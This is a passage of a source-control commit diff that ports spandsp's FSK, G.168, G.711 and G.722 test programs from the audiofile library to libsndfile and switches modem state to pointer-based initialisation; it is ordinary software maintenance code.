     case BERT_REPORT_SYNCED:
-        printf("%d: BERT report synced\n", channel);
+        fprintf(stderr, "%d: BERT report synced\n", channel);
         break;
     case BERT_REPORT_UNSYNCED:
-        printf("%d: BERT report unsync'ed\n", channel);
+        fprintf(stderr, "%d: BERT report unsync'ed\n", channel);
         break;
     case BERT_REPORT_REGULAR:
-        printf("%d: BERT report regular - %d bits, %d bad bits, %d resyncs\n", channel, results->total_bits, results->bad_bits, results->resyncs);
+        fprintf(stderr, "%d: BERT report regular - %d bits, %d bad bits, %d resyncs\n", channel, results->total_bits, results->bad_bits, results->resyncs);
         break;
     case BERT_REPORT_GT_10_2:
-        printf("%d: BERT report > 1 in 10^2\n", channel);
+        fprintf(stderr, "%d: BERT report > 1 in 10^2\n", channel);
         break;
     case BERT_REPORT_LT_10_2:
-        printf("%d: BERT report < 1 in 10^2\n", channel);
+        fprintf(stderr, "%d: BERT report < 1 in 10^2\n", channel);
         break;
     case BERT_REPORT_LT_10_3:
-        printf("%d: BERT report < 1 in 10^3\n", channel);
+        fprintf(stderr, "%d: BERT report < 1 in 10^3\n", channel);
         break;
     case BERT_REPORT_LT_10_4:
-        printf("%d: BERT report < 1 in 10^4\n", channel);
+        fprintf(stderr, "%d: BERT report < 1 in 10^4\n", channel);
         break;
     case BERT_REPORT_LT_10_5:
-        printf("%d: BERT report < 1 in 10^5\n", channel);
+        fprintf(stderr, "%d: BERT report < 1 in 10^5\n", channel);
         break;
     case BERT_REPORT_LT_10_6:
-        printf("%d: BERT report < 1 in 10^6\n", channel);
+        fprintf(stderr, "%d: BERT report < 1 in 10^6\n", channel);
         break;
     case BERT_REPORT_LT_10_7:
-        printf("%d: BERT report < 1 in 10^7\n", channel);
+        fprintf(stderr, "%d: BERT report < 1 in 10^7\n", channel);
         break;
     default:
-        printf("%d: BERT report reason %d\n", channel, reason);
+        fprintf(stderr, "%d: BERT report reason %d\n", channel, reason);
         break;
     }
 }
@@ -163,10 +164,10 @@
 
 int main(int argc, char *argv[])
 {
-    fsk_tx_state_t caller_tx;
-    fsk_rx_state_t caller_rx;
-    fsk_tx_state_t answerer_tx;
-    fsk_rx_state_t answerer_rx;
+    fsk_tx_state_t *caller_tx;
+    fsk_rx_state_t *caller_rx;
+    fsk_tx_state_t *answerer_tx;
+    fsk_rx_state_t *answerer_rx;
     bert_state_t caller_bert;
     bert_state_t answerer_bert;
     bert_results_t bert_results;
@@ -177,8 +178,8 @@
     int16_t caller_model_amp[BLOCK_LEN];
     int16_t answerer_model_amp[BLOCK_LEN];
     int16_t out_amp[2*BLOCK_LEN];
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int outframes;    
     int i;
     int j;
@@ -254,13 +255,13 @@
     if (modem_under_test_2 >= 0)
         printf("Modem channel 2 is '%s'\n", preset_fsk_specs[modem_under_test_2].name);
 
-    outhandle = AF_NULL_FILEHANDLE;
+    outhandle = NULL;
 
     if (log_audio)
     {
-        if ((outhandle = afOpenFile_telephony_write(OUTPUT_FILE_NAME, 2)) == AF_NULL_FILEHANDLE)
+        if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 2)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME);
             exit(2);
         }
     }
@@ -277,40 +278,37 @@
 
     if (decode_test_file)
     {
-        if ((inhandle = afOpenFile_telephony_read(decode_test_file, 1)) == AF_NULL_FILEHANDLE)
+        if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", decode_test_file);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", decode_test_file);
             exit(2);
         }
-        fsk_rx_init(&caller_rx, &preset_fsk_specs[modem_under_test_1], TRUE, put_bit, NULL);
-        fsk_rx_set_modem_status_handler(&caller_rx, rx_status, (void *) &caller_rx);
+        caller_rx = fsk_rx_init(NULL, &preset_fsk_specs[modem_under_test_1], TRUE, put_bit, NULL);
+        fsk_rx_set_modem_status_handler(caller_rx, rx_status, (void *) &caller_rx);
         test_bps = preset_fsk_specs[modem_under_test_1].baud_rate;
 
         for (;;)
         {
-            samples = afReadFrames(inhandle,
-                                   AF_DEFAULT_TRACK,
-                                   caller_model_amp,
-                                   BLOCK_LEN);
+            samples = sf_readf_short(inhandle, caller_model_amp, BLOCK_LEN);
             if (samples < BLOCK_LEN)
                 break;
             for (i = 0;  i < samples;  i++)
                 power_meter_update(&caller_meter, caller_model_amp[i]);
-            fsk_rx(&caller_rx, caller_model_amp, samples);
+            fsk_rx(caller_rx, caller_model_amp, samples);
         }
 
-        if (afCloseFile(inhandle) != 0)
+        if (sf_close(inhandle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", decode_test_file);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", decode_test_file);
             exit(2);
         }
     }
     else
     {
         printf("Test cutoff level\n");
-        fsk_rx_init(&caller_rx, &preset_fsk_specs[modem_under_test_1], TRUE, cutoff_test_put_bit, NULL);
-        fsk_rx_signal_cutoff(&caller_rx, -30.0f);
-        fsk_rx_set_modem_status_handler(&caller_rx, cutoff_test_rx_status, (void *) &caller_rx);
+        caller_rx = fsk_rx_init(NULL, &preset_fsk_specs[modem_under_test_1], TRUE, cutoff_test_put_bit, NULL);
+        fsk_rx_signal_cutoff(caller_rx, -30.0f);
+        fsk_rx_set_modem_status_handler(caller_rx, cutoff_test_rx_status, (void *) &caller_rx);
         on_at = 0;
         for (i = -40;  i < -25;  i++)
         {
@@ -328,7 +326,7 @@
             for (j = 0;  j < 10;  j++)
             {
                 samples = tone_gen(&tone_tx, caller_model_amp, 160);
-                fsk_rx(&caller_rx, caller_model_amp, samples);
+                fsk_rx(caller_rx, caller_model_amp, samples);
             }
             if (cutoff_test_carrier)
                break;
@@ -351,7 +349,7 @@
             for (j = 0;  j < 10;  j++)
             {
                 samples = tone_gen(&tone_tx, caller_model_amp, 160);
-                fsk_rx(&caller_rx, caller_model_amp, samples);
+                fsk_rx(caller_rx, caller_model_amp, samples);
             }
             if (!cutoff_test_carrier)
                 break;
@@ -370,17 +368,17 @@
         test_bps = preset_fsk_specs[modem_under_test_1].baud_rate;
         if (modem_under_test_1 >= 0)
         {
-            fsk_tx_init(&caller_tx, &preset_fsk_specs[modem_under_test_1], (get_bit_func_t) bert_get_bit, &caller_bert);
-            fsk_tx_set_modem_status_handler(&caller_tx, tx_status, (void *) &caller_tx);
-            fsk_rx_init(&answerer_rx, &preset_fsk_specs[modem_under_test_1], TRUE, (put_bit_func_t) bert_put_bit, &answerer_bert);
-            fsk_rx_set_modem_status_handler(&answerer_rx, rx_status, (void *) &answerer_rx);
+            caller_tx = fsk_tx_init(NULL, &preset_fsk_specs[modem_under_test_1], (get_bit_func_t) bert_get_bit, &caller_bert);
+            fsk_tx_set_modem_status_handler(caller_tx, tx_status, (void *) &caller_tx);
+            answerer_rx = fsk_rx_init(NULL, &preset_fsk_specs[modem_under_test_1], TRUE, (put_bit_func_t) bert_put_bit, &answerer_bert);
+            fsk_rx_set_modem_status_handler(answerer_rx, rx_status, (void *) &answerer_rx);
         }
         if (modem_under_test_2 >= 0)
         {
-            fsk_tx_init(&answerer_tx, &preset_fsk_specs[modem_under_test_2], (get_bit_func_t) bert_get_bit, &answerer_bert);
-            fsk_tx_set_modem_status_handler(&answerer_tx, tx_status, (void *) &answerer_tx);
-            fsk_rx_init(&caller_rx, &preset_fsk_specs[modem_under_test_2], TRUE, (put_bit_func_t) bert_put_bit, &caller_bert);
-            fsk_rx_set_modem_status_handler(&caller_rx, rx_status, (void *) &caller_rx);
+            answerer_tx = fsk_tx_init(NULL, &preset_fsk_specs[modem_under_test_2], (get_bit_func_t) bert_get_bit, &answerer_bert);
+            fsk_tx_set_modem_status_handler(answerer_tx, tx_status, (void *) &answerer_tx);
+            caller_rx = fsk_rx_init(NULL, &preset_fsk_specs[modem_under_test_2], TRUE, (put_bit_func_t) bert_put_bit, &caller_bert);
+            fsk_rx_set_modem_status_handler(caller_rx, rx_status, (void *) &caller_rx);
         }
         test_bps = preset_fsk_specs[modem_under_test_1].baud_rate;
 
@@ -391,7 +389,7 @@
         bert_set_report(&caller_bert, 100000, reporter, (void *) (intptr_t) 1);
         bert_init(&answerer_bert, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
         bert_set_report(&answerer_bert, 100000, reporter, (void *) (intptr_t) 2);
-        if ((model = both_ways_line_model_init(line_model_no, (float) noise_level, line_model_no, noise_level, channel_codec, rbs_pattern)) == NULL)
+        if ((model = both_ways_line_model_init(line_model_no, (float) noise_level, line_model_no, (float) noise_level, channel_codec, rbs_pattern)) == NULL)
         {
             fprintf(stderr, "    Failed to create line model\n");
             exit(2);
@@ -399,10 +397,10 @@
 
         for (;;)
         {
-            samples = fsk_tx(&caller_tx, caller_amp, BLOCK_LEN);
+            samples = fsk_tx(caller_tx, caller_amp, BLOCK_LEN);
             for (i = 0;  i < samples;  i++)
                 power_meter_update(&caller_meter, caller_amp[i]);
-            samples = fsk_tx(&answerer_tx, answerer_amp, BLOCK_LEN);
+            samples = fsk_tx(answerer_tx, answerer_amp, BLOCK_LEN);
             for (i = 0;  i < samples;  i++)
                 power_meter_update(&answerer_meter, answerer_amp[i]);
             both_ways_line_model(model,
@@ -414,13 +412,13 @@
 
             //printf("Powers %10.5fdBm0 %10.5fdBm0\n", power_meter_current_dbm0(&caller_meter), power_meter_current_dbm0(&answerer_meter));
 
-            fsk_rx(&answerer_rx, caller_model_amp, samples);
+            fsk_rx(answerer_rx, caller_model_amp, samples);
             for (i = 0;  i < samples;  i++)
                 out_amp[2*i] = caller_model_amp[i];
             for (  ;  i < BLOCK_LEN;  i++)
                 out_amp[2*i] = 0;
 
-            fsk_rx(&caller_rx, answerer_model_amp, samples);
+            fsk_rx(caller_rx, answerer_model_amp, samples);
             for (i = 0;  i < samples;  i++)
                 out_amp[2*i + 1] = answerer_model_amp[i];
             for (  ;  i < BLOCK_LEN;  i++)
@@ -428,13 +426,10 @@
         
             if (log_audio)
             {
-                outframes = afWriteFrames(outhandle,
-                                          AF_DEFAULT_TRACK,
-                                          out_amp,
-                                          BLOCK_LEN);
+                outframes = sf_writef_short(outhandle, out_amp, BLOCK_LEN);
                 if (outframes != BLOCK_LEN)
                 {
-                    fprintf(stderr, "    Error writing wave file\n");
+                    fprintf(stderr, "    Error writing audio file\n");
                     exit(2);
                 }
             }
@@ -476,26 +471,21 @@
                 if (log_audio)
                 {
                     for (i = 0;  i < 200;  i++)
-                    {
-                        outframes = afWriteFrames(outhandle,
-                                                  AF_DEFAULT_TRACK,
-                                                  out_amp,
-                                                  BLOCK_LEN);
-                    }
+                        outframes = sf_writef_short(outhandle, out_amp, BLOCK_LEN);
                 }
                 if (modem_under_test_1 >= 0)
                 {
-                    fsk_tx_init(&caller_tx, &preset_fsk_specs[modem_under_test_1], (get_bit_func_t) bert_get_bit, &caller_bert);
-                    fsk_tx_set_modem_status_handler(&caller_tx, tx_status, (void *) &caller_tx);
-                    fsk_rx_init(&answerer_rx, &preset_fsk_specs[modem_under_test_1], TRUE, (put_bit_func_t) bert_put_bit, &answerer_bert);
-                    fsk_rx_set_modem_status_handler(&answerer_rx, rx_status, (void *) &answerer_rx);
+                    caller_tx = fsk_tx_init(NULL, &preset_fsk_specs[modem_under_test_1], (get_bit_func_t) bert_get_bit, &caller_bert);
+                    fsk_tx_set_modem_status_handler(caller_tx, tx_status, (void *) &caller_tx);
+                    answerer_rx = fsk_rx_init(NULL, &preset_fsk_specs[modem_under_test_1], TRUE, (put_bit_func_t) bert_put_bit, &answerer_bert);
+                    fsk_rx_set_modem_status_handler(answerer_rx, rx_status, (void *) &answerer_rx);
                 }
                 if (modem_under_test_2 >= 0)
                 {
-                    fsk_tx_init(&answerer_tx, &preset_fsk_specs[modem_under_test_2], (get_bit_func_t) bert_get_bit, &answerer_bert);
-                    fsk_tx_set_modem_status_handler(&answerer_tx, tx_status, (void *) &answerer_tx);
-                    fsk_rx_init(&caller_rx, &preset_fsk_specs[modem_under_test_2], TRUE, (put_bit_func_t) bert_put_bit, &caller_bert);
-                    fsk_rx_set_modem_status_handler(&caller_rx, rx_status, (void *) &caller_rx);
+                    answerer_tx = fsk_tx_init(NULL, &preset_fsk_specs[modem_under_test_2], (get_bit_func_t) bert_get_bit, &answerer_bert);
+                    fsk_tx_set_modem_status_handler(answerer_tx, tx_status, (void *) &answerer_tx);
+                    caller_rx = fsk_rx_init(NULL, &preset_fsk_specs[modem_under_test_2], TRUE, (put_bit_func_t) bert_put_bit, &caller_bert);
+                    fsk_rx_set_modem_status_handler(caller_rx, rx_status, (void *) &caller_rx);
                 }
                 noise_level++;
                 if ((model = both_ways_line_model_init(line_model_no, (float) noise_level, line_model_no, noise_level, channel_codec, 0)) == NULL)
@@ -513,9 +503,9 @@
     }
     if (log_audio)
     {
-        if (afCloseFile(outhandle) != 0)
+        if (sf_close(outhandle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
             exit(2);
         }
     }

Modified: freeswitch/branches/seven/libs/spandsp/tests/g1050_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/g1050_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/g1050_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g1050_tests.c,v 1.16 2008/05/13 13:17:25 steveu Exp $
+ * $Id: g1050_tests.c,v 1.18 2009/05/30 15:23:13 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -39,11 +39,15 @@
 #include <unistd.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 #if defined(HAVE_MATH_H)
 #define GEN_CONST
 #endif
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/g168_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/g168_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/g168_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -24,7 +24,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g168_tests.c,v 1.18 2008/09/04 14:40:05 steveu Exp $
+ * $Id: g168_tests.c,v 1.20 2009/05/30 15:23:13 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -34,10 +34,15 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp/g168models.h"
+#include "spandsp-sim.h"
 
 #define FALSE 0
 #define TRUE (!FALSE)
@@ -48,76 +53,18 @@
     int max;
     int cur;
     float gain;
-    AFfilehandle handle;
+    SNDFILE *handle;
     int16_t signal[SAMPLE_RATE];
 } signal_source_t;
 
 signal_source_t local_css;
 signal_source_t far_css;
 
-static AFfilehandle afOpenFile_telephony_read(const char *name, int channels)
-{
-    float x;
-    AFfilehandle handle;
-
-    if ((handle = afOpenFile(name, "r", 0)) == AF_NULL_FILEHANDLE)
-    {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", name);
-        exit(2);
-    }
-    if ((x = afGetFrameSize(handle, AF_DEFAULT_TRACK, 1)) != 2.0)
-    {
-        fprintf(stderr, "    Unexpected frame size in wave file '%s'\n", name);
-        exit(2);
-    }
-    if ((x = afGetRate(handle, AF_DEFAULT_TRACK)) != (float) SAMPLE_RATE)
-    {
-        printf("    Unexpected sample rate in wave file '%s'\n", name);
-        exit(2);
-    }
-    if ((x = afGetChannels(handle, AF_DEFAULT_TRACK)) != (float) channels)
-    {
-        printf("    Unexpected number of channels in wave file '%s'\n", name);
-        exit(2);
-    }
-
-    return handle;
-}
-/*- End of function --------------------------------------------------------*/
-
-#if 0
-static AFfilehandle afOpenFile_telephony_write(const char *name, int channels)
-{
-    AFfilesetup setup;
-    AFfilehandle handle;
-
-    if ((setup = afNewFileSetup()) == AF_NULL_FILESETUP)
-    {
-        fprintf(stderr, "    %s: Failed to create file setup\n", name);
-        exit(2);
-    }
-    afInitSampleFormat(setup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(setup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
-    afInitFileFormat(setup, AF_FILE_WAVE);
-    afInitChannels(setup, AF_DEFAULT_TRACK, channels);
-
-    if ((handle = afOpenFile(name, "w", setup)) == AF_NULL_FILEHANDLE)
-    {
-        fprintf(stderr, "    Failed to open result file\n");
-        exit(2);
-    }
-    afFreeFileSetup(setup);
-
-    return handle;
-}
-/*- End of function --------------------------------------------------------*/
-#endif
-
 static void signal_load(signal_source_t *sig, const char *name)
 {
-    sig->handle = afOpenFile_telephony_read(name, 1);
+    sig->handle = sf_open_telephony_read(name, 1);
     sig->name = name;
-    sig->max = afReadFrames(sig->handle, AF_DEFAULT_TRACK, sig->signal, SAMPLE_RATE);
+    sig->max = sf_readf_short(sig->handle, sig->signal, SAMPLE_RATE);
     if (sig->max < 0)
     {
         fprintf(stderr, "    Error reading sound file '%s'\n", sig->name);
@@ -128,7 +75,7 @@
 
 static void signal_free(signal_source_t *sig)
 {
-    if (afCloseFile(sig->handle) != 0)
+    if (sf_close(sig->handle) != 0)
     {
         fprintf(stderr, "    Cannot close sound file '%s'\n", sig->name);
         exit(2);

Modified: freeswitch/branches/seven/libs/spandsp/tests/g711_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/g711_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/g711_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g711_tests.c,v 1.14 2008/08/16 15:24:15 steveu Exp $
+ * $Id: g711_tests.c,v 1.17 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \page g711_tests_page A-law and u-law conversion tests
@@ -38,14 +38,23 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <fcntl.h>
+#include <unistd.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
-#define OUT_FILE_NAME   "g711.wav"
+#define BLOCK_LEN           160
 
+#define IN_FILE_NAME        "../test-data/local/short_nb_voice.wav"
+#define ENCODED_FILE_NAME   "g711.g711"
+#define OUT_FILE_NAME       "post_g711.wav"
+
 int16_t amp[65536];
 uint8_t ulaw_data[65536];
 uint8_t alaw_data[65536];
@@ -53,9 +62,9 @@
 const uint8_t alaw_1khz_sine[] = {0x34, 0x21, 0x21, 0x34, 0xB4, 0xA1, 0xA1, 0xB4};
 const uint8_t ulaw_1khz_sine[] = {0x1E, 0x0B, 0x0B, 0x1E, 0x9E, 0x8B, 0x8B, 0x9E};
 
-int main(int argc, char *argv[])
+static void compliance_tests(int log_audio)
 {
-    AFfilehandle outhandle;
+    SNDFILE *outhandle;
     power_meter_t power_meter;
     int outframes;
     int i;
@@ -69,14 +78,18 @@
     float worst_ulaw;
     float tmp;
     int len;
-    g711_state_t *encode;
+    g711_state_t *enc_state;
     g711_state_t *transcode;
-    g711_state_t *decode;
-    
-    if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    g711_state_t *dec_state;
+
+    outhandle = NULL;
+    if (log_audio)
     {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
-        exit(2);
+        if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
+        {
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
+            exit(2);
+        }
     }
 
     printf("Conversion accuracy tests.\n");
@@ -112,14 +125,14 @@
             }
             amp[i] = post;
         }
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  65536);
-        if (outframes != 65536)
+        if (log_audio)
         {
-            fprintf(stderr, "    Error writing wave file\n");
-            exit(2);
+            outframes = sf_writef_short(outhandle, amp, 65536);
+            if (outframes != 65536)
+            {
+                fprintf(stderr, "    Error writing audio file\n");
+                exit(2);
+            }
         }
         for (i = 0;  i < 65536;  i++)
         {
@@ -147,14 +160,14 @@
             }
             amp[i] = post;
         }
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  65536);
-        if (outframes != 65536)
+        if (log_audio)
         {
-            fprintf(stderr, "    Error writing wave file\n");
-            exit(2);
+            outframes = sf_writef_short(outhandle, amp, 65536);
+            if (outframes != 65536)
+            {
+                fprintf(stderr, "    Error writing audio file\n");
+                exit(2);
+            }
         }
     }
     printf("Worst A-law error (ignoring small values) %f%%\n", worst_alaw*100.0);
@@ -203,14 +216,14 @@
         power_meter_update(&power_meter, amp[i]);
     }
     printf("Reference u-law 1kHz tone is %fdBm0\n", power_meter_current_dbm0(&power_meter));
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              8000);
-    if (outframes != 8000)
+    if (log_audio)
     {
-        fprintf(stderr, "    Error writing wave file\n");
-        exit(2);
+        outframes = sf_writef_short(outhandle, amp, 8000);
+        if (outframes != 8000)
+        {
+            fprintf(stderr, "    Error writing audio file\n");
+            exit(2);
+        }
     }
     if (0.1f < fabs(power_meter_current_dbm0(&power_meter)))
     {
@@ -224,14 +237,14 @@
         power_meter_update(&power_meter, amp[i]);
     }
     printf("Reference A-law 1kHz tone is %fdBm0\n", power_meter_current_dbm0(&power_meter));
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              amp,
-                              8000);
-    if (outframes != 8000)
+    if (log_audio)
     {
-        fprintf(stderr, "    Error writing wave file\n");
-        exit(2);
+        outframes = sf_writef_short(outhandle, amp, 8000);
+        if (outframes != 8000)
+        {
+            fprintf(stderr, "    Error writing audio file\n");
+            exit(2);
+        }
     }
     if (0.1f < fabs(power_meter_current_dbm0(&power_meter)))
     {
@@ -268,16 +281,16 @@
         }
     }
     
-    encode = g711_init(NULL, G711_ALAW);
+    enc_state = g711_init(NULL, G711_ALAW);
     transcode = g711_init(NULL, G711_ALAW);
-    decode = g711_init(NULL, G711_ULAW);
+    dec_state = g711_init(NULL, G711_ULAW);
 
     len = 65536;
     for (i = 0;  i < len;  i++)
         amp[i] = i - 32768;
-    len = g711_encode(encode, alaw_data, amp, len);
+    len = g711_encode(enc_state, alaw_data, amp, len);
     len = g711_transcode(transcode, ulaw_data, alaw_data, len);
-    len = g711_decode(decode, amp, ulaw_data, len);
+    len = g711_decode(dec_state, amp, ulaw_data, len);
     if (len != 65536)
     {
         printf("Block coding gave the wrong length - %d instead of %d\n", len, 65536);
@@ -307,17 +320,198 @@
             }
         }
     }
-    g711_release(encode);
+    g711_release(enc_state);
     g711_release(transcode);
-    g711_release(decode);
+    g711_release(dec_state);
 
-    if (afCloseFile(outhandle))
+    if (log_audio)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
-        exit(2);
+        if (sf_close(outhandle))
+        {
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
+            exit(2);
+        }
     }
 
     printf("Tests passed.\n");
+}
+/*- End of function --------------------------------------------------------*/
+
+int main(int argc, char *argv[])
+{
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
+    int outframes;
+    int opt;
+    int samples;
+    int len2;
+    int len3;
+    int basic_tests;
+    int law;
+    int encode;
+    int decode;
+    int file;
+    const char *in_file;
+    const char *out_file;
+    g711_state_t *enc_state;
+    g711_state_t *dec_state;
+    int16_t indata[BLOCK_LEN];
+    int16_t outdata[BLOCK_LEN];
+    uint8_t g711data[BLOCK_LEN];
+
+    basic_tests = TRUE;
+    law = G711_ALAW;
+    encode = FALSE;
+    decode = FALSE;
+    in_file = NULL;
+    out_file = NULL;
+    while ((opt = getopt(argc, argv, "ad:e:l:u")) != -1)
+    {
+        switch (opt)
+        {
+        case 'a':
+            law = G711_ALAW;
+            basic_tests = FALSE;
+            break;
+        case 'd':
+            in_file = optarg;
+            basic_tests = FALSE;
+            decode = TRUE;
+            break;
+        case 'e':
+            in_file = optarg;
+            basic_tests = FALSE;
+            encode = TRUE;
+            break;
+        case 'l':
+            out_file = optarg;
+            break;
+        case 'u':
+            law = G711_ULAW;
+            basic_tests = FALSE;
+            break;
+        default:
+            //usage();
+            exit(2);
+        }
+    }
+
+    if (basic_tests)
+    {
+        compliance_tests(TRUE);
+    }
+    else
+    {
+        if (!decode  &&  !encode)
+        {
+            decode =
+            encode = TRUE;
+        }
+        if (in_file == NULL)
+        {
+            in_file = (encode)  ?  IN_FILE_NAME  :  ENCODED_FILE_NAME;
+        }
+        if (out_file == NULL)
+        {
+            out_file = (decode)  ?  OUT_FILE_NAME  :  ENCODED_FILE_NAME;
+        }
+        inhandle = NULL;
+        outhandle = NULL;
+        file = -1;
+        enc_state = NULL;
+        dec_state = NULL;
+        if (encode)
+        {
+            if ((inhandle = sf_open_telephony_read(in_file, 1)) == NULL)
+            {
+                fprintf(stderr, "    Cannot open audio file '%s'\n", in_file);
+                exit(2);
+            }
+            enc_state = g711_init(NULL, law);
+        }
+        else
+        {
+            if ((file = open(in_file, O_RDONLY)) < 0)
+            {
+                fprintf(stderr, "    Failed to open '%s'\n", in_file);
+                exit(2);
+            }
+        }
+        if (decode)
+        {
+            if ((outhandle = sf_open_telephony_write(out_file, 1)) == NULL)
+            {
+                fprintf(stderr, "    Cannot create audio file '%s'\n", out_file);
+                exit(2);
+            }
+            dec_state = g711_init(NULL, law);
+        }
+        else
+        {
+            if ((file = open(out_file, O_WRONLY | O_CREAT | O_TRUNC, 0666)) < 0)
+            {
+                fprintf(stderr, "    Failed to open '%s'\n", out_file);
+                exit(2);
+            }
+        }
+        for (;;)
+        {
+            if (encode)
+            {
+                samples = sf_readf_short(inhandle, indata, BLOCK_LEN);
+                if (samples <= 0)
+                    break;
+                len2 = g711_encode(enc_state, g711data, indata, samples);
+            }
+            else
+            {
+                len2 = read(file, g711data, BLOCK_LEN);
+                if (len2 <= 0)
+                    break;
+            }
+            if (decode)
+            {
+                len3 = g711_decode(dec_state, outdata, g711data, len2);
+                outframes = sf_writef_short(outhandle, outdata, len3);
+                if (outframes != len3)
+                {
+                    fprintf(stderr, "    Error writing audio file\n");
+                    exit(2);
+                }
+            }
+            else
+            {
+                len3 = write(file, g711data, len2);
+                if (len3 <= 0)
+                    break;
+            }
+        }
+        if (encode)
+        {
+            if (sf_close(inhandle))
+            {
+                fprintf(stderr, "    Cannot close audio file '%s'\n", IN_FILE_NAME);
+                exit(2);
+            }
+        }
+        else
+        {
+            close(file);
+        }
+        if (decode)
+        {
+            if (sf_close(outhandle))
+            {
+                fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
+                exit(2);
+            }
+        }
+        else
+        {
+            close(file);
+        }
+        printf("'%s' translated to '%s' using %s.\n", in_file, out_file, (law == G711_ALAW)  ?  "A-law"  :  "u-law");
+    }
     return 0;
 }
 /*- End of function --------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/tests/g722_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/g722_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/g722_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g722_tests.c,v 1.27 2008/09/19 14:02:05 steveu Exp $
+ * $Id: g722_tests.c,v 1.32 2009/06/02 14:55:36 steveu Exp $
  */
 
 /*! \file */
@@ -56,6 +56,9 @@
 and the resulting audio stored in post_g722.wav.
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include <config.h>
 #endif
@@ -66,10 +69,14 @@
 #include <unistd.h>
 #include <memory.h>
 #include <ctype.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
 #include "spandsp.h"
 
+#if 1 //defined(WITH_SPANDSP_INTERNALS)
+#include "spandsp/private/g722.h"
+#endif
+
 #define G722_SAMPLE_RATE    16000
 
 #define BLOCK_LEN           320
@@ -80,6 +87,7 @@
 
 #define EIGHTK_IN_FILE_NAME "../test-data/local/short_nb_voice.wav"
 #define IN_FILE_NAME        "../test-data/local/short_wb_voice.wav"
+#define ENCODED_FILE_NAME   "g722.g722"
